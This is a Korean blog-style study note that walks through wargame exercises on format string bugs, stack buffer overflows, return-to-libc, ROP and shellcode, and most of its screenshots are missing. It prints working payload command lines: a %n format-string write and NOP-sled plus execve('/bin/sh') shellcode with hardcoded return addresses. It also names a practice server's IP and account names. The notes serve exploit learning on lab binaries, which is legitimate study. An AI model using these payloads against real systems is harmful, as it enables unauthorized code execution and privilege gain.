Format String bug
포멧 스트링 버그는 printf 함수 등에서 사용되는 포멧 스트링(%d, %s...)을 잘못된 형태로 사용할 경우 발생하는 버그이다. 포멧 스트링은 데이터를 어떤 형식에 따라 입력받거나 출력하기 위하여 사용하는데 형식을 잘못사용하면 메모리의 데이터가 유출되고 변조될 수 있다.
포멧 스트링 버그는 메모리 릭, 메모리 변조 모두 가능하기 때문에 취약점이 발생하면 exploitable할 가능성이 높다.

printf함수는 아래의 두가지 방법으로 사용할 수 있다.

printf(BUFFER)
printf("FORMAT_STRING", BUFFER)

포멧 스트링 버그는 포멧스트링을 사용하지 않고 바로 BUFFER를 출력하는 첫번째 printf 함수 사용법에서 발생한다. 만약 BUFFER 안에 %x, %d등 포멧 스트링이 들어가면 printf함수는 그것들을 포멧스트링으로 보고 두번째 printf 함수 사용법과 같이 동작하여 스택 메모리를 유출시킨다.

<정상적인 printf함수 스택>


<포맷스트링 취약한 printf함수의 스택>


fsb.c





여기서 아래의 LEAK을 출력을 하려면
LEAK의 주소를 확인하여 AAAA대신 LEAK의 주소를 넣고 해당 맵핑되어있는 41414141부분에 %s를 사용하여 해당주소의 데이터를 출력한다




formatstring메모리변조

%n : 현재까지 읽은 byte의 수를 출력해준다


0xffffd124주소에 현재까지 입력받은 바이트수를 hex값으로 넣는다


%n바이트 수를 조절하려면 띄어쓰기 등등 편법을 써야한다 
%x형태의 포맷스트링을 %20x처럼 띄어쓰기를 늘려서 입력되는 값을 변화를 시킨다

...


%n자체가 2btye씩 출력이되기때문에 4btye메모리 변조를하려면 2byte다음주소인 0xffffd126에 BBBB를 조작하여 원하는 메모리주소값으로 바꾼다.

 

iffsb

예제소스



gdb로 디버깅을 하여 info variables명령어를 사용하여 전역변수정보를 확인한다
tartget변수의 주소값을 알아낼수있다 (0x0804a048)


python -c 'print "AAAA\x48\xa0\x04\x08 %54x %n"' | ./iffsb
포맷스트링버그를 사용하여 target주소값을 %n을 사용하여 64로 조작한다.
그후 소스코드의 cat flag명령을 실행하게 된다

실습환경: 우분투

예제 1








다음 breakpoint까지 진행을 한후에 esp주소를 확인한다.
0xffffd558은 버퍼주소 이며 0xffffd842는 argv[1]인것을 확인한다.


strcpy후에 문자가 복사된것을 확인(주소알아낼려고하는거임)


실행방법 : ./bigbof01 $(python -c 'print "\x90"*236+"24바이트쉘코드"+"버퍼주소"')
첫번째처럼 안될시에는 버퍼주소를 건드려서 순수하게 찾아본다(잘안되는이유는 gdb자체 디버깅된 주소값이 정확하지않다고함)
bigbof011의 쉘을얻어서 bigbof011에게 권한이 있는 파일을 cat명령으로 확인할수있다.
bigbof01@ubuntu:~$ ./bigbof01 $(python -c 'print "\x90"*236+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x58\xd7\xff\xff"')



bigbof02


예제소스




왼쪽은 정상적으로 실행됬을때 stack구조
오른쪽은 쉘코드를 삽입하여 실행할 stack구조



breakpoint 를 i와 buffer를 포함한 esp값을 확인하여 ebp부터 esp까지의 byte수를 계산한다


다음 breakpoint로 이동하여 strcpy함수를 실행하기전의 esp로부터 두개의 stack을 확인한다 ( buffer와 argv[1] )
strcpy를 진행하고 argv[1]의 값이 buffer에 복사가 된것을 확인하면 buffer의 시작주소(0xffffd58c)를 알수있다.




./bigbof02 `python -c 'print "\x90"*184 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x8c\xd7\xff\xff"'`
./bigbof02 `python -c 'print "\x90"*184 + "24byte shellcode"+"buffer 시작주소"'`

nop+shellcode는 208byte이며 shellcode를 제외한 나머지 184byte는 임의의 문자로 채운다
임의의문자 + shellcode + buffer의 시작주소를 strcpy로 강제로 버퍼오버플로우를 시키면서 shellcode를 불러오게되고 bigbof021의 쉘 권한을 획득하게된다



예제 3 (bigbof03)




   


여기서 esp주소부터 ret까지 byte사이즈 계산(하는이유 : ret까지 사이즈계산을해서 ret에 print함수시작주소를 넣기위해서)
ret 는 ebp+0x4 (따라서 ret주소값은 0xffffd65c)
esp 부터 ret까지 크기 계산 [ 0xffffd65c(ret) - 0xffffd5ec(esp) = 0x70(112byte)]


print함수의 시작코드가 0x0804847b인것을 확인함


위의과정을 도식화함

       




Return To Library


예제코드



buffer 의 byte크기확인 : ebp - esp = 0x8
SFP의 크기 4byte


system함수의 주소값확인 하는명령어 : p system


/bin/sh 의 주소값확인


bofrtl1 쉘로 들어가서 bofrtl1에게 읽기권한이있는 flag파일 출력


ropl

예제코드



one,two,three의 주소값을 알아낸다





shellcode

예제소스



cat 명령을 이용하여 쉘에 진입하여 flag를 확인한다


heapof


www.pwnable.kr

118.36.184.210 bigbof01/03/bofrtl


+ Recent posts